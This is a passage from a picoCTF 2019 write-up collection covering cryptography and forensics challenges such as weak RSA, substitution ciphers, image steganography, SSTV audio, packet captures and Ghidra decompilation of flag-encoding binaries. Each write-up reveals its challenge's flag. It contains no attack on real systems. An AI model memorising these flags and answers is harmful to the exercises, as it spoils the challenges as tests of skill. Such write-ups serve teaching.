1. Decode the RSA certificate at <https://8gwifi.org/PemParserFunctions.jsp> or <https://www.sslchecker.com/certdecoder>
2. Find the modulus value in the decoded certificate: `Modulus: 4966306421059967 (0x11a4d45212b17f)`
3. Use Yafu to factor into p and q: `factor(0x11a4d45212b17f)`

### Flag

`picoCTF{73176001,67867967}`


# b00tl3gRSA2

## Problem

> Lets decrypt this: ciphertext? Something seems a bit small

* [Ciphertext](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Cryptography/miniRSA/ciphertext/README.md)

## Solution

1. Open [Ciphertext](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Cryptography/miniRSA/ciphertext/README.md)
2. Use [RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) to run `python RsaCtfTool.py --uncipher 2205316413931134031074603746928247799030155221252519872650101242908540609117693035883827878696406295617513907962419726541451312273821810017858485722109359971259158071688912076249144203043097720816270550387459717116098817458584146690177125 -e 3 -n 29331922499794985782735976045591164936683059380558950386560160105740343201513369939006307531165922708949619162698623675349030430859547825708994708321803705309459438099340427770580064400911431856656901982789948285309956111848686906152664473350940486507451771223435835260168971210087470894448460745593956840586530527915802541450092946574694809584880896601317519794442862977471129319781313161842056501715040555964011899589002863730868679527184420789010551475067862907739054966183120621407246398518098981106431219207697870293412176440482900183550467375190239898455201170831410460483829448603477361305838743852756938687673`
3. Within a few seconds you should get the flag.&#x20;

### Flag

`picoCTF{n33d_a_lArg3r_e_ff7cfba1}`


# waves over lambda

## Problem

> We made alot of substitutions to encrypt this. Can you decrypt it? Connect with nc 2019shell1.picoctf.com 32282.

## Solution

1. `nc 2019shell1.picoctf.com 32282`:

   ```
    -------------------------------------------------------------------------------
    yvmhqbxj urqr wj pvdq csbh - cqrgdrmyp_wj_y_virq_sblktb_oxxuxxvkdy
    -------------------------------------------------------------------------------
    krxnrrm dj xurqr nbj, bj w ubir bsqrbtp jbwt jvlrnurqr, xur kvmt vc xur jrb. krjwtrj uvstwmh vdq urbqxj xvhrxurq xuqvdhu svmh orqwvtj vc jrobqbxwvm, wx ubt xur rccryx vc lbewmh dj xvsrqbmx vc rbyu vxurq'j pbqmjbmt rirm yvmiwyxwvmj. xur sbnprqxur krjx vc vst crssvnjubt, krybdjr vc uwj lbmp prbqj bmt lbmp iwqxdrj, xur vmsp ydjuwvm vm trye, bmt nbj spwmh vm xur vmsp qdh. xur byyvdmxbmx ubt kqvdhux vdx bsqrbtp b kva vc tvlwmvrj, bmt nbj xvpwmh bqyuwxryxdqbssp nwxu xur kvmrj. lbqsvn jbx yqvjj-srhhrt qwhux bcx, srbmwmh bhbwmjx xur lwzzrm-lbjx. ur ubt jdmerm yurrej, b prssvn yvlosrawvm, b jxqbwhux kbye, bm bjyrxwy bjoryx, bmt, nwxu uwj bqlj tqvoort, xur obslj vc ubmtj vdxnbqtj, qrjrlksrt bm wtvs. xur twqryxvq, jbxwjcwrt xur bmyuvq ubt hvvt uvst, lbtr uwj nbp bcx bmt jbx tvnm blvmhjx dj. nr rayubmhrt b crn nvqtj sbzwsp. bcxrqnbqtj xurqr nbj jwsrmyr vm kvbqt xur pbyux. cvq jvlr qrbjvm vq vxurq nr twt mvx krhwm xubx hblr vc tvlwmvrj. nr crsx lrtwxbxwir, bmt cwx cvq mvxuwmh kdx osbywt jxbqwmh. xur tbp nbj rmtwmh wm b jrqrmwxp vc jxwss bmt ragdwjwxr kqwsswbmyr. xur nbxrq juvmr obywcwybssp; xur jep, nwxuvdx b jorye, nbj b krmwhm wllrmjwxp vc dmjxbwmrt swhux; xur irqp lwjx vm xur rjjra lbqju nbj swer b hbdzp bmt qbtwbmx cbkqwy, udmh cqvl xur nvvtrt qwjrj wmsbmt, bmt tqbowmh xur svn juvqrj wm twboubmvdj cvstj. vmsp xur hsvvl xv xur nrjx, kqvvtwmh virq xur doorq qrbyurj, kryblr lvqr jvlkqr rirqp lwmdxr, bj wc bmhrqrt kp xur booqvbyu vc xur jdm.
   ```
2. Run [quipqiup](https://www.quipqiup.com/) to get the following:

   ```
    ------------------------------------------------------------------------------- congrats here is your flag - frequency_is_c_over_lambda_ptthttobuc ------------------------------------------------------------------------------- between us there was, as i have already said somewhere, the bond of the sea. besides holding our hearts together through long periods of separation, it had the effect of making us tolerant of each other's yarnsand even convictions. the lawyerthe best of old fellowshad, because of his many years and many virtues, the only cushion on deck, and was lying on the only rug. the accountant had brought out already a box of dominoes, and was toying architecturally with the bones. marlow sat cross-legged right aft, leaning against the mizzen-mast. he had sunken cheeks, a yellow complexion, a straight back, an ascetic aspect, and, with his arms dropped, the palms of hands outwards, resembled an idol. the director, satisfied the anchor had good hold, made his way aft and sat down amongst us. we exchanged a few words lazily. afterwards there was silence on board the yacht. for some reason or other we did not begin that game of dominoes. we felt meditative, and fit for nothing but placid staring. the day was ending in a serenity of still and exquisite brilliance. the water shone pacifically; the sky, without a speck, was a benign immensity of unstained light; the very mist on the essex marsh was like a gauzy and radiant fabric, hung from the wooded rises inland, and draping the low shores in diaphanous folds. only the gloom to the west, brooding over the upper reaches, became more sombre every minute, as if angered by the approach of the sun.
   ```

### Flag

`picoCTF{frequency_is_c_over_lambda_ptthttobuc}`


# Forensics


# What Lies Within

## Problem

> Theres something in the building. Can you retrieve the flag?

* [Image](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/What%20Lies%20Within/buildings.png)

## Solution

1. This is a challenge where [the flag is hidden in the least significant bit of each pixel value](https://www.boiteaklou.fr/Steganography-Least-Significant-Bit.html).
2. The flag can be extracted with zsteg:

   ```bash
    zsteg buildings.png 
    b1,r,lsb,xy         .. text: "^5>R5YZrG"
    b1,rgb,lsb,xy       .. text: "picoCTF{h1d1ng_1n_th3_b1t5}"
    b1,abgr,msb,xy      .. file: PGP Secret Sub-key -
    b2,b,lsb,xy         .. text: "XuH}p#8Iy="
    b3,abgr,msb,xy      .. text: "t@Wp-_tH_v\r"
    b4,r,lsb,xy         .. text: "fdD\"\"\"\" "
    b4,r,msb,xy         .. text: "%Q#gpSv0c05"
    b4,g,lsb,xy         .. text: "fDfffDD\"\""
    b4,g,msb,xy         .. text: "f\"fff\"\"DD"
    b4,b,lsb,xy         .. text: "\"$BDDDDf"
    b4,b,msb,xy         .. text: "wwBDDDfUU53w"
    b4,rgb,msb,xy       .. text: "dUcv%F#A`"
    b4,bgr,msb,xy       .. text: " V\"c7Ga4"
    b4,abgr,msb,xy      .. text: "gOC_$_@o"
   ```
3. Visit [HackTricks](https://book.hacktricks.xyz/stego/stego-tricks) for more information. Steghide is used for JPG images and Zsteg is used for PNGs.
4. [Katana](https://github.com/JohnHammond/katana) can solve this challenge:

   ```bash
    Target completed in 2.57 seconds after 14215 unit cases
    zsteg(/data/targets/buildings.png) ➜
    picoCTF{h1d1ng_1n_th3_b1t5} - (copied)
   ```

### Flag

`picoCTF{h1d1ng_1n_th3_b1t5}`


# m00nwalk

## Problem

> Decode this message from the moon. You can also find the file in /problems/m00nwalk\_6\_811c5485a374101cc212434dc2601130.

* [Message](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/m00nwalk/message.wav)

## Solution

1. The hint suggests that this is related to how images from the moon landing were transmitted back to earth. Some research leads to [SSTV](https://en.wikipedia.org/wiki/Slow-scan_television). Note: Originally I solved this challenge using [this program for Windows](http://users.belgacom.net/hamradio/rxsstv.htm) but since then I found an easier way that works within Kali Linux (see next step).
2. [This tutorial](https://ourcodeworld.com/articles/read/956/how-to-convert-decode-a-slow-scan-television-transmissions-sstv-audio-file-to-images-using-qsstv-in-ubuntu-18-04) ([Archive](https://web.archive.org/web/20200602003341/https://ourcodeworld.com/articles/read/956/how-to-convert-decode-a-slow-scan-television-transmissions-sstv-audio-file-to-images-using-qsstv-in-ubuntu-18-04)) explains how to convert the audio file to an image.
3. Install `qsstv` with `apt-get install qsstv`
4. Run `pactl load-module module-null-sink sink_name=virtual-cable`
5. Run `pavucontrol`. A GUI will pop-up, go to the "Output Devices" tab to verify that you have the "Null Output" device.
6. Run `qsstv`. The program GUI will pop-up, go to "Options" -> "Configuration" -> "Sound" and select the "PulseAudio" Audio Interface
7. Back in the `pavucontrol` GUI, select the "Recording" tab and specify that QSSTV should capture audio from the Null Output
8. The hint asked "What is the CMU mascot?" - the answer is "Scotty the Scottie Dog". This hinted that we should select "Scottie 1" as QSSTV's "Mode". Select "Auto Slant" as well.
9. Run `paplay -d virtual-cable message.wav` to create the image: ![QSSTV finished image](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2F47cb6ecc86a520837eef06dc1206c38e388ca540.png?generation=1619558781974301\&alt=media)
10. Unload the virtual audio cable so audio will play normally:

    ```
    $ pactl list short modules | grep null
    25      module-null-sink        sink_name=virtual-cable
    $ pactl unload-module 25
    ```

### Flag

`picoCTF{beep_boop_im_in_space}`


# shark on wire 1

## Problem

> We found this packet capture. Recover the flag. You can also find the file in /problems/shark-on-wire-1\_0\_13d709ec13952807e477ba1b5404e620.

* [Packet Capture](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/shark%20on%20wire%201/capture.pcap)

## Solution

1. Open the ".pcap" file in wireshark.
2. Filter for the UDP streams since there was a hint about streams.
3. Apply the filter `udp.stream eq 6` then right-click a packet, select follow, then follow udp.

   ![Follow UDP stream results](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2F819aa7e6b3ade63041141ac9869594276b4f5a07.png?generation=1619558782091641\&alt=media)

### Flag

`picoCTF{StaT31355_636f6e6e}`


# shark on wire 2

## Problem

> We found this packet capture. Recover the flag that was pilfered from the network. You can also find the file in /problems/shark-on-wire-2\_0\_3e92bfbdb2f6d0e25b8d019453fdbf07.

* [Packet Capture](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/shark%20on%20wire%202/capture.pcap)

## Solution

1. Open the ".pcap" file in wireshark.
2. Since the previous challenge involved following the UDP stream, that is the first step we should take to solve this. Go to `Analyze -> Follow -> UDP Stream` and click through the streams.
3. One stream has a message labeled start and the following streams are all strings of various lengths that contain the character "a".
4. Looking in the info column, we can see that the requests all come from different ports from the same IP.
5. Filter the IP: `ip.src == 10.0.0.66`
6. We can see that the second message originates from source port 5112. 112 is a number which should alert us, since its ASCII representation is `p`, which matches the flag template.
7. Run the [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/shark%20on%20wire%202/script.py) to grab all the port numbers and convert them to ASCII, which is the flag.

### Flag

`picoCTF{p1LLf3r3d_data_v1a_st3g0}`


# Glory of the Garden

## Problem

> This garden contains more than it seems. You can also find the file in /problems/glory-of-the-garden\_3\_346e50df4a37bcc4aa5f6e5831604e2a on the shell server.

* [Image](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/Glory%20of%20the%20Garden/garden.jpg)

## Solution

1. Use `strings` and `grep`:

   ```bash
    $ strings garden.jpg | grep pico
    Here is a flag "picoCTF{more_than_m33ts_the_3y35a97d3bB}"
   ```
2. [Katana](https://github.com/JohnHammond/katana) can solve this challenge:

   ```bash
    Target completed in 2.29 seconds after 3844 unit cases
    strings(/data/targets/garden.jpg) ➜ 
    picoCTF{more_than_m33ts_the_3y35a97d3bB} - (copied)
   ```

### Flag

`picoCTF{more_than_m33ts_the_3y35a97d3bB}`


# pastaAAA

## Problem

> This pasta is up to no good. There MUST be something behind it.

* [Image](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/pastaAAA/ctf.png)

## Solution

1. Use the `stegsolve` tool to find the flag in red planes 0 and 1. `stegsolve` can be downloaded from [this GitHub repo](https://github.com/eugenekolo/sec-tools/blob/master/stego/stegsolve/stegsolve/stegsolve.jar). More stenography tools on [HackTricks](https://book.hacktricks.xyz/stego/stego-tricks).
2. Looking at both planes is important to find that the 3rd character of the flag is a dollar sign and not a capital S.

![Solved image, red plane 0 of ctf.png](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2Fd8566b4816851c38c86d7c5ccd497f9ab5774865.bmp?generation=1619558783176285\&alt=media) ![Solved image, red plane 1 of ctf.png](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2F197df722ceb939442392e1b80d2ac85b3eecc5e2.bmp?generation=1619558783443641\&alt=media)

### Flag

`picoCTF{pa$ta_1s_lyf3}`


# Investigative Reversing 0

## Problem

> We have recovered a binary and an image. See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-0\_4\_950a47cfcfc9b661c36603148c77df3d on the shell server.

* [Binary](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/Investigative%20Reversing%200/mystery/README.md)
* [Image](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/Investigative%20Reversing%200/mystery.png)

## Solution

1. Run `file mystery` which shows its is a ELF executable: `mystery: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld`...
2. Reverse the binary file using [Ghidra](https://ghidra-sre.org/) ([cheat sheet](https://ghidra-sre.org/CheatSheet.html)). Open it and in the symbol tree click on main. The decompiled main function will show on the right.

   ```cpp
    void main(void)

    {
    FILE *flag_stream;
    FILE *image_steam;
    size_t sVar1;
    long in_FS_OFFSET;
    int i;
    int local_50;
    char local_38 [4];
    char local_34;
    char local_33;
    char local_29;
    long local_10;

    local_10 = *(long *)(in_FS_OFFSET + 0x28);
    flag_stream = fopen("flag.txt","r");
    image_steam = fopen("mystery.png","a");
    if (flag_stream == (FILE *)0x0) {
        puts("No flag found, please make sure this is run on the server");
    }
    if (image_steam == (FILE *)0x0) {
        puts("mystery.png is missing, please run this on the server");
    }
    sVar1 = fread(local_38,0x1a,1,flag_stream);
    if ((int)sVar1 < 1) {
                        /* WARNING: Subroutine does not return */
        exit(0);
    }
    puts("at insert");
    fputc((int)local_38[0],image_steam);
    fputc((int)local_38[1],image_steam);
    fputc((int)local_38[2],image_steam);
    fputc((int)local_38[3],image_steam);
    fputc((int)local_34,image_steam);
    fputc((int)local_33,image_steam);
    i = 6;
    while (i < 0xf) {
        fputc((int)(char)(local_38[i] + '\x05'),image_steam);
        i = i + 1;
    }
    fputc((int)(char)(local_29 + -3),image_steam);
    local_50 = 0x10;
    while (local_50 < 0x1a) {
        fputc((int)local_38[local_50],image_steam);
        local_50 = local_50 + 1;
    }
    fclose(image_steam);
    fclose(flag_stream);
    if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return;
    }
   ```
3. We can see that the program opens the flag file, and places an encoded version of it at the end of the image file.

   ```
    $ xxd -g 1 mystery.png | tail
    0001e7f0: 82 20 08 82 20 08 82 20 08 82 20 64 1f 32 12 21  . .. .. .. d.2.!
    0001e800: 08 82 20 08 82 20 08 82 20 08 42 f6 21 23 11 82  .. .. .. .B.!#..
    0001e810: 20 08 82 20 08 82 20 08 82 20 64 1f 32 12 21 08   .. .. .. d.2.!.
    0001e820: 82 20 08 82 20 08 82 20 08 42 f6 21 23 11 82 20  . .. .. .B.!#.. 
    0001e830: 08 82 20 08 82 20 08 82 20 64 1f 32 12 21 08 82  .. .. .. d.2.!..
    0001e840: 20 08 82 20 08 82 20 08 42 f6 21 23 11 82 20 08   .. .. .B.!#.. .
    0001e850: 82 20 08 82 20 08 82 20 64 17 ff ef ff fd 7f 5e  . .. .. d......^
    0001e860: ed 5a 9d 38 d0 1f 56 00 00 00 00 49 45 4e 44 ae  .Z.8..V....IEND.
    0001e870: 42 60 82 70 69 63 6f 43 54 4b 80 6b 35 7a 73 69  B`.picoCTK.k5zsi
    0001e880: 64 36 71 5f 35 32 36 36 61 38 35 37 7d           d6q_5266a857}
   ```
4. The encoding works as follows:
   1. Add bytes 0 to 5 (inclusive) to the image.
   2. Loop through the bytes of the flag from 6 to `0xf` (from 6 to 14, inclusive) and add `'\x05'` (5) to each bytes.
   3. Add the 15th byte minus 3 (probably the 15th byte, I am assuming based on the code structure).
   4. Loop through and add the remaining bytes (16 to 25, inclusive).
5. We can reverse this using the [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/Investigative%20Reversing%200/script.py) and get the flag.

### Flag

`picoCTF{f0und_1t_5266a857}`


# Investigative Reversing 1

## Problem

> We have recovered a binary and a few images: image, image2, image3. See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-1\_4\_266adcde17fa2ab2ec454e6c5379ad81 on the shell server.

* [Binary](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/Investigative%20Reversing%201/mystery/README.md)
* [Image 1](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/Investigative%20Reversing%201/mystery.png)
* [Image 2](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/Investigative%20Reversing%201/mystery2.png)
* [Image 3](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/Investigative%20Reversing%201/mystery3.png)

## Solution

1. Run `file mystery` which shows its is a ELF executable: `mystery: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld`...
2. Reverse the binary file using [Ghidra](https://ghidra-sre.org/) ([cheat sheet](https://ghidra-sre.org/CheatSheet.html)). Open it and in the symbol tree click on main. The decompiled main function will show on the right.

   ```cpp
    void main(void)

    {
    FILE *__stream;
    FILE *__stream_00;
    FILE *__stream_01;
    FILE *__stream_02;
    long in_FS_OFFSET;
    char local_6b;
    int local_68;
    int local_64;
    int local_60;
    char local_38 [4];
    char local_34;
    char local_33;
    long local_10;

    local_10 = *(long *)(in_FS_OFFSET + 0x28);
    __stream = fopen("flag.txt","r");
    __stream_00 = fopen("mystery.png","a");
    __stream_01 = fopen("mystery2.png","a");
    __stream_02 = fopen("mystery3.png","a");
    if (__stream == (FILE *)0x0) {
        puts("No flag found, please make sure this is run on the server");
    }
    if (__stream_00 == (FILE *)0x0) {
        puts("mystery.png is missing, please run this on the server");
    }
    fread(local_38,0x1a,1,__stream);
    fputc((int)local_38[1],__stream_02);
    fputc((int)(char)(local_38[0] + '\x15'),__stream_01);
    fputc((int)local_38[2],__stream_02);
    local_6b = local_38[3];
    fputc((int)local_33,__stream_02);
    fputc((int)local_34,__stream_00);
    local_68 = 6;
    while (local_68 < 10) {
        local_6b = local_6b + '\x01';
        fputc((int)local_38[local_68],__stream_00);
        local_68 = local_68 + 1;
    }
    fputc((int)local_6b,__stream_01);
    local_64 = 10;
    while (local_64 < 0xf) {
        fputc((int)local_38[local_64],__stream_02);
        local_64 = local_64 + 1;
    }
    local_60 = 0xf;
    while (local_60 < 0x1a) {
        fputc((int)local_38[local_60],__stream_00);
        local_60 = local_60 + 1;
    }
    fclose(__stream_00);
    fclose(__stream);
    if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return;
    }
   ```
3. We can see that the program opens the flag file, and scatters an encoded version of it across the three image files.

   ```
    $ xxd -g 1 mystery.png | tail
    0001e7f0: 82 20 08 82 20 08 82 20 08 82 20 64 1f 32 12 21  . .. .. .. d.2.!
    0001e800: 08 82 20 08 82 20 08 82 20 08 42 f6 21 23 11 82  .. .. .. .B.!#..
    0001e810: 20 08 82 20 08 82 20 08 82 20 64 1f 32 12 21 08   .. .. .. d.2.!.
    0001e820: 82 20 08 82 20 08 82 20 08 42 f6 21 23 11 82 20  . .. .. .B.!#.. 
    0001e830: 08 82 20 08 82 20 08 82 20 64 1f 32 12 21 08 82  .. .. .. d.2.!..
    0001e840: 20 08 82 20 08 82 20 08 42 f6 21 23 11 82 20 08   .. .. .B.!#.. .
    0001e850: 82 20 08 82 20 08 82 20 64 17 ff ef ff fd 7f 5e  . .. .. d......^
    0001e860: ed 5a 9d 38 d0 1f 56 00 00 00 00 49 45 4e 44 ae  .Z.8..V....IEND.
    0001e870: 42 60 82 43 46 7b 41 6e 31 5f 38 35 35 36 31 31  B`.CF{An1_855611
    0001e880: 64 33 7d                                         d3}
    $ xxd -g 1 mystery2.png | tail
    0001e7e0: 21 08 82 20 08 82 20 08 82 20 08 42 f6 21 23 11  !.. .. .. .B.!#.
    0001e7f0: 82 20 08 82 20 08 82 20 08 82 20 64 1f 32 12 21  . .. .. .. d.2.!
    0001e800: 08 82 20 08 82 20 08 82 20 08 42 f6 21 23 11 82  .. .. .. .B.!#..
    0001e810: 20 08 82 20 08 82 20 08 82 20 64 1f 32 12 21 08   .. .. .. d.2.!.
    0001e820: 82 20 08 82 20 08 82 20 08 42 f6 21 23 11 82 20  . .. .. .B.!#.. 
    0001e830: 08 82 20 08 82 20 08 82 20 64 1f 32 12 21 08 82  .. .. .. d.2.!..
    0001e840: 20 08 82 20 08 82 20 08 42 f6 21 23 11 82 20 08   .. .. .B.!#.. .
    0001e850: 82 20 08 82 20 08 82 20 64 17 ff ef ff fd 7f 5e  . .. .. d......^
    0001e860: ed 5a 9d 38 d0 1f 56 00 00 00 00 49 45 4e 44 ae  .Z.8..V....IEND.
    0001e870: 42 60 82 85 73                                   B`..s
    $ xxd -g 1 mystery3.png | tail
    0001e7e0: 21 08 82 20 08 82 20 08 82 20 08 42 f6 21 23 11  !.. .. .. .B.!#.
    0001e7f0: 82 20 08 82 20 08 82 20 08 82 20 64 1f 32 12 21  . .. .. .. d.2.!
    0001e800: 08 82 20 08 82 20 08 82 20 08 42 f6 21 23 11 82  .. .. .. .B.!#..
    0001e810: 20 08 82 20 08 82 20 08 82 20 64 1f 32 12 21 08   .. .. .. d.2.!.
    0001e820: 82 20 08 82 20 08 82 20 08 42 f6 21 23 11 82 20  . .. .. .B.!#.. 
    0001e830: 08 82 20 08 82 20 08 82 20 64 1f 32 12 21 08 82  .. .. .. d.2.!..
    0001e840: 20 08 82 20 08 82 20 08 42 f6 21 23 11 82 20 08   .. .. .B.!#.. .
    0001e850: 82 20 08 82 20 08 82 20 64 17 ff ef ff fd 7f 5e  . .. .. d......^
    0001e860: ed 5a 9d 38 d0 1f 56 00 00 00 00 49 45 4e 44 ae  .Z.8..V....IEND.
    0001e870: 42 60 82 69 63 54 30 74 68 61 5f                 B`.icT0tha_
   ```
4. The encoding works as follows:
   1. Append byte 1 to file 3
   2. Add `0x15` to byte 0 and append to file 2
   3. Append byte 2 to file 3
   4. Append byte 5 to file 3. At the top of the file the variables are listed like so:

      ```cpp
       char local_38 [4]; // 4 is length
       char local_34;
       char local_33;
      ```

      This means that `local_34` will contain the 4th character from flag and `local_33` will contain the 5th. So in the below lines the 5th bytes is added then the 4th.

      ```cpp
       fputc((int)local_33,__stream_02);
       fputc((int)local_34,__stream_00);
      ```
   5. Append byte 4 to file 1
   6. Append bytes 6 to 9 (inclusive) to file 1
   7. Append byte 3 (which has been increased by 4 during the above loop) to file 2
   8. Append bytes 10 to 14 (inclusive) to file 3
   9. Append bytes 15 to 25 (inclusive) to file 1
5. We need to copy the last 16 bytes from file 1, 2 from file 2, and 8 from file 3 to variable `data_1`, `data_2`, `data_3` in the [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/Investigative%20Reversing%201/script.py), which reverses the scheme explained above.
6. We can reverse this using the [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/Investigative%20Reversing%201/script.py) and get the flag.

### Flag

`picoCTF{An0tha_1_855611d3}`


# extensions

## Problem

> This is a really weird text file TXT? Can you find the flag?

* [TXT File](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/extensions/flag.txt)

## Solution

1. A quick file type check with `file` reveals that we have a PNG file instead of a TXT file:

   ```bash
    file flag.txt
    flag.txt: PNG image data, 1697 x 608, 8-bit/color RGB, non-interlaced
   ```
2. Change the filename to flag.png and get the flag:

   ![Image with flag](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2F81d54f76d958822800f1bc8ca9518f63b4064928.png?generation=1619558781864471\&alt=media)
3. [Katana](https://github.com/JohnHammond/katana) can solve this challenge:

   ```bash
    Target completed in 7.29 seconds after 6105 unit cases
    tesseract(/data/targets/flag.txt) ➜
    picoCTF{now_you_know_about_extensions} - (copied)
   ```

### Flag

`picoCTF{now_you_know_about_extensions}`


# investigation\_encoded\_1

## Problem

> We have recovered a binary and 1 file: image01. See what you can make of it. Its also found in /problems/investigation-encoded-1\_4\_eb9020306ac9fe150ac9b9ca32ee1cc6 on the shell server. NOTE: The flag is not in the normal picoCTF{XXX} format.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/investigation_encoded_1/mystery/README.md)
* [Output (Image?)](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/investigation_encoded_1/output/README.md)

## Solution

1. Running `file ouput` shows that it is not an image: `output: Non-ISO extended-ASCII text, with no line terminators`. `xxd -g 1 output`:

   ```
    00000000: 8e 8e ba 3b b8 ea 23 a8 a8 ba 3a 8e ee 38 ee a3  ...;..#...:..8..
    00000010: a8 eb 8a a3 ab 80                                ......
   ```
2. Running the `mystery` binary produces: `./flag.txt not found`. Lets create a fake flag: `echo picoCTF{fake_flag} > flag.txt`. Running the binary again produces: `Error, I don't know why I crashed`.
3. Decompile the binary file using [Ghidra](https://ghidra-sre.org/) ([cheat sheet](https://ghidra-sre.org/CheatSheet.html)):

   ```cpp
    undefined8 main(void)

    {
    long lVar1;
    size_t sVar2;
    undefined4 local_18;
    int local_14;
    FILE *local_10;

    local_10 = fopen("flag.txt","r");
    if (local_10 == (FILE *)0x0) {
        fwrite("./flag.txt not found\n",1,0x15,stderr);
                        /* WARNING: Subroutine does not return */
        exit(1);
    }
    flag_size = 0;
    fseek(local_10,0,2);
    lVar1 = ftell(local_10);
    flag_size = (int)lVar1;
    fseek(local_10,0,0);
    if (0xfffe < flag_size) {
        fwrite("Error, file bigger that 65535\n",1,0x1e,stderr);
                        /* WARNING: Subroutine does not return */
        exit(1);
    }
    flag = malloc((long)flag_size);
    sVar2 = fread(flag,1,(long)flag_size,local_10);
    local_14 = (int)sVar2;
    if (local_14 < 1) {
                        /* WARNING: Subroutine does not return */
        exit(0);
    }
    local_18 = 0;
    flag_index = &local_18;
    output = fopen("output","w");
    buffChar = 0;
    remain = 7;
    fclose(local_10);
    encode();
    fclose(output);
    fwrite("I\'m Done, check ./output\n",1,0x19,stderr);
    return 0;
    }
   ```

   It reads the flag, sets some global variables and calls `encode()`
4. `encode()` function decompiled:

   ```cpp
    void encode(void)

    {
    char cVar1;
    int iVar2;
    int local_10;
    char local_9;

    while( true ) {
        if (flag_size <= *flag_index) {
        while (remain != 7) {
            save(0);
        }
        return;
        }
        cVar1 = isValid((ulong)(uint)(int)*(char *)(*flag_index + flag));
        if (cVar1 != '\x01') break;
        local_9 = lower();
        if (local_9 == ' ') {
        local_9 = '{';
        }
        local_10 = *(int *)(matrix + (long)((int)local_9 + -0x61) * 8 + 4);
        iVar2 = local_10 + *(int *)(matrix + (long)((int)local_9 + -0x61) * 8);
        while (local_10 < iVar2) {
        getValue();
        save();
        local_10 = local_10 + 1;
        }
        *flag_index = *flag_index + 1;
    }
    fwrite("Error, I don\'t know why I crashed\n",1,0x22,stderr);
                        /* WARNING: Subroutine does not return */
    exit(1);
    }
   ```

   `encode()` iterates through the flag character by character, and (assuming the character is valid) converts it to lowercase. Then, it reads two values from a mysterious global matrix variable. The first value looks like a starting index, and the second value looks like a length from the starting index. For `end-start` iterations, it reads a value from `getValue()` and calls `save()` with that value.

   After all the characters in the flag were processed (after `*flag_index`, which is the looping variable, is equal to or greater than `flag_size`), the function calls `save(0)` for a number of times and returns.

   Explanation of the `*`s: The phrase `numbers[1]` can also be expressed as `*(numbers + 1)`, where the `*` operator is said to dereference the pointer address `numbers + 1`. dereference can be thought of in this case as read the value pointed to by. ([source](https://stackoverflow.com/a/36265395))
5. `isValid()` function decompiled:

   ```cpp
    undefined8 isValid(char param_1)

    {
    undefined8 uVar1;

    if ((param_1 < 'a') || ('z' < param_1)) {
        if ((param_1 < 'A') || ('Z' < param_1)) {
        if (param_1 == ' ') {
            uVar1 = 1;
        }
        else {
            uVar1 = 0;
        }
        }
        else {
        uVar1 = 1;
        }
    }
    else {
        uVar1 = 1;
    }
    return uVar1;
    }
   ```

   Valid characters are uppercase and lowercase letters, and space. The first run with the fake flag did not work because `echo` creates a newline character, which is not accepted. Lets try without the newline: `echo -n picoCTF{fakeflag} > flag.txt` (also no underscore). The output is shorter than the input and I cannot manually decode the cipher.
6. `getValue()` decompiled:

   ```cpp
    ulong getValue(int param_1)

    {
    byte bVar1;
    int iVar2;
